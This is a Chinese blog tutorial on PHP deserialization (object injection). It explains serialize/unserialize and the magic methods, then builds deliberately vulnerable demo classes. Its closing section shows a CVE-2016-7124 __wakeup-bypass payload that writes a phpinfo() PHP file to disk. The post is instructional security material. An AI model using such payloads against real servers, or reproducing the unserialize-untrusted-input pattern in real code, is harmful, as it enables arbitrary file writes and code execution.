php反序列化漏洞浅析

php存在着一个反序列化漏洞,也叫php对象注入。理解这个漏洞的成因首先要理解到面向对象中的方法和属性。

序列化和反序列化

在php中,有着这两个函数:serialize()和unserialize().

serialize()

serizalize()结果返回字符串,此字符串包含了表示value的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。

当我们创建一个对象后,为了方便之后的使用,我们就可以用  serialize()把这个对象变化一个字符串。同时这也方便了对象值的传递和保存。

新建一个"serialized.php"测试:

1 <?php
2 class Test
3 {
4     var $test = 'aaa';
5 }
6 $Test1 = new Test();
7 $Test1_ser = serialize($Test1);
8 echo $Test1_ser;
9 ?>

返回结果:

 

O:4:"Test":1:{s:4:"test";s:3:"aaa";}

该字符串中 O代表序列化对象为object(对象),4代表对象名长度为4,"Test"指的是对象名,1代表该对象中有一个值,s代表字符串(str),4为字符串长度,"test"为字符串内容。

unserialize()

unserialize()也就是将serialize()序列化之后的字符串实例化,也就是重建对象。新建"unseralized.php"测试:

<?php
include "serialized.php";
$str = 'O:4:"Test":1:{s:4:"test";s:3:"aaa";}';
$a = unserialize($str);
print_r($a);
?>

输出结果:

 

magic function

在复现之前,我们先了解下php中的magic函数,也叫魔法函数。

https://secure.php.net/manual/zh/language.oop5.magic.php

魔法函数有很多个,我们重点看这几个:__construct,__sleep,__wakeup,__destruct

__construct和__destruct分别会在对象创建和销毁时自动调用;

__sleep在一个对象被序列化的时候调用(清理缓存);

__wakeup在一个对象被反序列化的时候调用。

测试代码:

<?php
class Test
{
    public $var1 = 'hello';
    public $var2 = 'world';
    public function Printvar()
    {
        echo $this->var1.' '.$this->var2.'<br />';
    }
    public function __construct()
    {
        echo '__construct<br />';
    }
    public function __destruct()
    {
        echo '__destruct<br />';
    }
    public function __wakeup()
    {
        echo '__wakeup<br />';
    }
    public function __sleep()
    {
        echo '__sleep<br />';
        
        return array('var1','var2');
    }
}

//创建对象调用__construct
$object = new Test();

//序列化对象调用 __sleep
$serialize = serialize($object);

//输入序列化后的字符串
echo 'Serialize:'.$serialize.'<br />';

//重建对象调用__wakeup
$object = unserialize($serialize);

//调用Printvar方法
$object->Printvar();

//脚本结束调用__destruct

?>

输出结果:

 

 反序列化漏洞

 当php进行反序列化的时候,如果我们的反序列化字符串可控,从而改变对象中属性的值的话,那么反序列化的结果就会有所不同。
新建popdemo.php

<?php
class Popdemo
{
    public $data = "demo";
    public $filename = "./demo.txt";
    public function __construct()    
    {    
        echo '__construct <br />';    
    }    
    public function __wakeup()
    {
        echo '__wakeup <br />';
    }
    public function __destruct()
    {
        echo '__destruct <br/>';
        //$this->save();
    }
    public function save()
    {
        file_put_contents($this->filename,$this->data);
    }
}
$object = new Popdemo();
$object->save();
$newobj = serialize($object);
echo $newobj.'<br />';
file_put_contents('./pop_serialized.txt',$newobj);

?>

这段代码就是将字符串"demo"保存进demo.txt,然后将序列化后的字符串保存在pop_serialized.txt

运行结果:

成功保存

再建立一个pop.php,代码如下:

<?php
    include 'popdemo.php';
    $pop = file_get_contents('./pop_serialized.txt');
    $newobjt = unserialize($pop);
    var_dump($newobjt);
   $newobjt->save();
?>

我们将O:7:"Popdemo":2:{s:4:"data";s:4:"demo";s:8:"filename";s:10:"./demo.txt";} 字符串修改一下 改为:

 O:7:"Popdemo":2:{s:4:"data";s:4:"hack";s:8:"filename";s:10:"./hack.txt";}

同时将popdemo.php中的一些代码注释掉

 

运行pop.php

 

可以看到,我们成功地在本地保存了一个hack.txt的文件 而不是demo.txt

php对象注入成功

 

反序列化漏洞之绕过__wakeup

参考分析:http://0x48.pw/2016/09/13/0x22/

CVE-2016-7124:当成员属性数目大于实际数目时可绕过wakeup方法

重写popdemo.php

<?php
class Popdemo
{
    public $data = "demo";
    public $filename = "./demo.txt";
    public function __construct()    
    {    
        echo '__construct <br />';    
    }    
    public function __wakeup()
    {
        echo '__wakeup <br />';
    }
    public function __destruct()
    {
        echo '__destruct <br/>';
        $this->save();
    }
    public function save()
    {
        file_put_contents($this->filename,$this->data);
    }
}
?>

 

 将O:7:"Popdemo":2:{s:4:"data";s:4:"hack";s:8:"filename";s:10:"./hack.txt";}改为

O:7:"Popdemo":3:{s:4:"data";s:18:"<?php phpinfo();?>";s:8:"filename";s:10:"./hack.php";}

运行pop.php

可以看到没有打印__wakeup,说明__wakeup方法并没有执行,同时再访问hack.php

绕过成功.

 

参考链接:

php bugs 72663分析(CVE-2016-7124):http://0x48.pw/2016/09/13/0x22/

理解php反序列化漏洞:http://blog.csdn.net/qq_32400847/article/details/53873275

php magic functions:https://secure.php.net/manual/zh/language.oop5.magic.php

 

posted @ 2018-03-22 18:11  c1e4r  阅读(505)  评论(0编辑  收藏  举报